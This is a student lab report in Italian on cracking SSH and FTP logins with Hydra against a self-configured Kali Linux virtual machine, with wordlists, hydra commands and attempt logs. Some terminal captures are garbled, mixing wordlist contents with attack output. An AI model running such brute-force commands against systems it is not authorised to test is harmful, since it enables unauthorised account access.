

CONSEGNA L6/S5

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CYBER SECURITY & ETHICAL HACKING

PROGETTO SETTIMANALE: Authentication cracking con Hydra

L'esercizio di oggi era composto in due parti, una parte guidata e l'altra che consisteva nel configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP. Per l'esercizio è stato scelto il servizio FTP.

Innanzitutto bisogna fornire una breve definizione del tool:

Hydra è uno strumento di brute force utilizzato per attaccare e testare la sicurezza di servizi remoti, cercando di ottenere l'accesso tramite l'individuazione di combinazioni valide di username e password. Supporta una vasta gamma di protocolli, come SSH, FTP, HTTP, RDP, e molti altri. Hydra è spesso usato per il pen-testing e la valutazione della sicurezza, ma può anche essere utilizzato per verificare la forza delle credenziali su vari sistemi.

PARTE GUIDATA

La parte guidata dell'esercizio chiedeva di fare pratica con Hydra per craccare l'autenticazione dei servizi di rete e consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

In ordine, ho creato un nuovo utente su Kali Linux tramite il comando `adduser <nome>` (in questo caso "test_user") e gli ho assegnato la password "testpass".

Dopodichè ho attivato il servizio ssh con il comando

```
sudo service ssh start.
```

Ho configurato poi il demone sshd che era alla path `/etc/ssh/sshd_config`, abilitando l'accesso all'utente root in ssh, cambiando la porta e l'indirizzo di binding del servizio.

```
File Actions Edit View Help
GNU nano 8.2 rds.txt /etc/ssh/sshd_config
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
#
# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games
#
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.
#
Include /etc/ssh/sshd_config.d/*.conf
#
# Port 22
#AddressFamily any
ListenAddress 192.168.50.100
#ListenAddress ::
#
#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key
#
# Ciphers and keying
#RekeyLimit default none
#
# Logging
#SyslogFacility AUTH
#LogLevel INFO
#
# Authentication:
#
#LoginGraceTime 2m
PermitRootLogin yes
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10
#PubkeyAuthentication yes
#
# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2
#AuthorizedPrincipalsFile none
#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody
#
# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
[ Read 122 lines ]
^G Help ^O Write Out ^F Where Is ^K Cut ^T Execute ^C Location M-U Undo
```

Dopo aver verificato l'accesso, ho creato due wordlist in formato txt, una contenente gli username e l'altra contenente le password tramite il comando `nano`

(Non ho utilizzato seclists poichè funzionava solo in modalità t1 e per questione di tempo ho preferito creare due wordlist personalizzate)

```
LSN: Corrupt history file /home/kali/.LSN_history
(kali@vboxkali)-[~/Desktop/wordlist]
$ nano usernames.txt
[ATTEMPT] target 192.168.50.100 - login "administrato
(kali@vboxkali)-[~/Desktop/wordlist]
$ nano passwords.txt
[ATTEMPT] target 192.168.50.100 - login "root" - pass
```

ho verificato le informazioni contenute nei file tramite il comando `cat`

```
(kali@vboxkali)-[~/Desktop/wordlist]
$ cat usernames.txt
admin
administrator
root
guest
user
test
test_user
manager

(kali@vboxkali)-[~/Desktop/wordlist]
$ cat passwords.txt
password123
qwerty
12345678
testpass
admin2023
letmein
welcome
```

Infine ho lanciato il comando

```
hydra -L username_list -P password_list IP_KALI -t 4 ssh -V
```

```
(kali@vboxkali)-[~]
$ hydra -L /home/kali/Desktop/wordlist/usernames.txt -P /home/kali/Desktop/wordlist/passwords.txt 192.168.50.100 -t4 ftp -V
```

e, dopo diversi tentativi, come in figura, l'associazione tra l'username "user_test" e la sua password "testpass" è riuscita con successo.

```
[ATTEMPT] target 192.168.50.100 - login "guest" - pass "password123" - 22 of 56 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "guest" - pass "qwerty" - 23 of 56 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "guest" - pass "12345678" - 24 of 56 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "guest" - pass "testpass" - 25 of 56 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "guest" - pass "admin2023" - 26 of 56 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "guest" - pass "letmein" - 27 of 56 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "guest" - pass "welcome" - 28 of 56 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "password123" - 29 of 56 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "qwerty" - 30 of 56 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "12345678" - 31 of 56 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "testpass" - 32 of 56 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "admin2023" - 33 of 56 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "letmein" - 34 of 56 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user" - pass "welcome" - 35 of 56 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test" - pass "password123" - 36 of 56 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test" - pass "qwerty" - 37 of 56 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test" - pass "12345678" - 38 of 56 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test" - pass "testpass" - 39 of 56 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test" - pass "admin2023" - 40 of 56 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test" - pass "letmein" - 41 of 56 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test" - pass "welcome" - 42 of 56 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password123" - 43 of 56 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "qwerty" - 44 of 56 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 45 of 56 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 46 of 56 [child 2] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "manager" - pass "password123" - 50 of 56 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "manager" - pass "qwerty" - 51 of 56 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "manager" - pass "12345678" - 52 of 56 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "manager" - pass "testpass" - 53 of 56 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "manager" - pass "admin2023" - 54 of 56 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "manager" - pass "letmein" - 55 of 56 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "manager" - pass "welcome" - 56 of 56 [child 1] (0/0)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 12:27:38
```

ESERCIZIO CON FTP

Dopo aver completato l'esercizio guidato, ho scelto di configurare il servizio ftp e provare a craccare l'autenticazione con Hydra.

- Innanzitutto ho installato il servizio e l'ho attivato.

```
(kali@vboxkali)-[~]
└─$ sudo apt-get install vsftpd
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
  ibverbs-providers libboost-iostreams1.83.0 libboost-thread1.83.0 libcephfs2 libgfapi0 libgfrpc0 libgfxdr0
  libglusterfs0 libibverbs1 libpython3.11-dev librados2 librdmacm1t64 python3-lib2to3 python3.11 python3.11-dev
  python3.11-minimal samba-vfs-modules
Use 'sudo apt autoremove' to remove them.
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 1868 not upgraded.
Need to get 142 kB of archives.
After this operation, 352 kB of additional disk space will be used.
Ign:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13.1 [child 3] (0/0)
Ign:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13.1 [child 3] (0/0)
Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13.1 [142 kB]
Fetched 142 kB in 39s (3640 B/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 400351 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13.1_amd64.deb ...
Unpacking vsftpd (3.0.3-13.1) ...
Setting up vsftpd (3.0.3-13.1) ...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /var/run/vsftpd/
empty → /run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.13.0-1) ...
Processing triggers for kali-menu (2024.3.1) ...
```

```
(kali@vboxkali)-[~]
└─$ sudo service vsftpd start
```

- Ho creato un nuovo account da craccare:

```
(root@vboxkali)-[/home/kali]
└─# adduser julia
info: Adding user `julia' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `julia' (1002) ...
info: Adding new user `julia' (1002) with group `julia (1002)' ...
info: Creating home directory `/home/julia' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for julia
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
info: Adding new user `julia' to supplemental / extra groups `users' ...
info: Adding user `julia' to group `users' ...
```

```
username: julia
password: juliasu
```

- Ho proceduto con l'aggiunta di ulteriori username e ulteriori password nei file creati in precedenza per l'esercizio guidato, aggiungendo anche quelli da craccare:

```
(kali@vboxkali)-[~/Desktop/wordlist]
$ cat usernames.txt
adminMPT] target 192.168.50.100 - login "test" - pa
administratorget 192.168.50.100 - login "test" - pa
rootEMPT] target 192.168.50.100 - login "test" - pa
simoneT] target 192.168.50.100 - login "test" - pa
lucaMPT] target 192.168.50.100 - login "test_user"
juliaMPT] target 192.168.50.100 - login "test_user"
guestMPT] target 192.168.50.100 - login "test_user"
userEMPT] target 192.168.50.100 - login "test_user"
paoloMPT] target 192.168.50.100 - login "test_user"
testEMPT] target 192.168.50.100 - login "test_user"
test_usertarget 192.168.50.100 - login "test_user"
utenteT] target 192.168.50.100 - login "test_user"
ospiteT] target 192.168.50.100 - login "test_user"
manager] host: 192.168.50.100 - login: test_user
[ATTEMPT] target 192.168.50.100 - login "utente" - p
(kali@vboxkali)-[~/Desktop/wordlist]
$ cat passwords.txt
passwordtarget 192.168.50.100 - login "utente" - p
7658MPT] target 192.168.50.100 - login "utente" - p
password123target 192.168.50.100 - login "utente" - p
qwertyT] target 192.168.50.100 - login "utente" - p
polline] target 192.168.50.100 - login "utente" - p
12345678target 192.168.50.100 - login "utente" - p
juliasu] target 192.168.50.100 - login "utente" - p
testpass] target 192.168.50.100 - login "utente" - p
juliaMPT] target 192.168.50.100 - login "utente" - p
admin2023target 192.168.50.100 - login "utente" - p
kaliMPT] target 192.168.50.100 - login "ospite" - p
letmein] target 192.168.50.100 - login "ospite" - p
welcome] target 192.168.50.100 - login "ospite" - p
```

- Inizialmente ho lanciato il comando in `t4`, ma mi generava *errore*

```
(kali@vboxkali)-[~]
$ hydra -L /home/kali/Desktop/wordlist/usernames.txt -P /home/kali/Desktop/wordlist/passwords.txt 192.168.50.100 -t4 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 13:05:57
[DATA] max 4 tasks per 1 server, overall 4 tasks, 182 login tries (l:14/p:13), ~46 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "password" - 1 of 182 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "7658" - 2 of 182 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "password123" - 3 of 182 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "qwerty" - 4 of 182 [child 3] (0/0)
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 13:06:43

[ERROR] all children were disabled due too many connection errors
```

Dopo una breve ricerca, è sorto che il problema fosse dovuto a una protezione anti-attacco implementata nel sistema di destinazione (192.168.50.100) per prevenire un possibile blocco del target ed ho risolto passando a `t3`, quindi ottimizzando il ritmo dei tentativi/gestione delle connessioni ed ho completato il test.

```
(kali@vboxkali)-[~]
$ hydra -L /home/kali/Desktop/wordlist/usernames.txt -P /home/kali/Desktop/wordlist/passwords.txt 192.168.50.100 -t3 ftp -V
```



```
[ATTEMPT] target 192.168.50.100 - login "luca" - pass "password123" - 55 of 182 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "luca" - pass "qwerty" - 56 of 182 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "luca" - pass "polline" - 57 of 182 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "luca" - pass "12345678" - 58 of 182 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "luca" - pass "juliasu" - 59 of 182 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "luca" - pass "testpass" - 60 of 182 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "luca" - pass "julia" - 61 of 182 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "luca" - pass "admin2023" - 62 of 182 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "luca" - pass "kali" - 63 of 182 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "luca" - pass "letmein" - 64 of 182 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "luca" - pass "welcome" - 65 of 182 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "julia" - pass "password" - 66 of 182 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "julia" - pass "7658" - 67 of 182 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "julia" - pass "password123" - 68 of 182 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "julia" - pass "qwerty" - 69 of 182 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "julia" - pass "polline" - 70 of 182 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "julia" - pass "12345678" - 71 of 182 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "julia" - pass "juliasu" - 72 of 182 [child 1] (0/0)
[21][ftp] host: 192.168.50.100 login: julia password: juliasu
[ATTEMPT] target 192.168.50.100 - login "guest" - pass "password" - 79 of 182 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "guest" - pass "7658" - 80 of 182 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "guest" - pass "password123" - 81 of 182 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "guest" - pass "qwerty" - 82 of 182 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "guest" - pass "polline" - 83 of 182 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "guest" - pass "12345678" - 84 of 182 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "guest" - pass "juliasu" - 85 of 182 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "guest" - pass "testpass" - 86 of 182 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "guest" - pass "julia" - 87 of 182 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "guest" - pass "admin2023" - 88 of 182 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "guest" - pass "kali" - 89 of 182 [child 2] (0/0)
```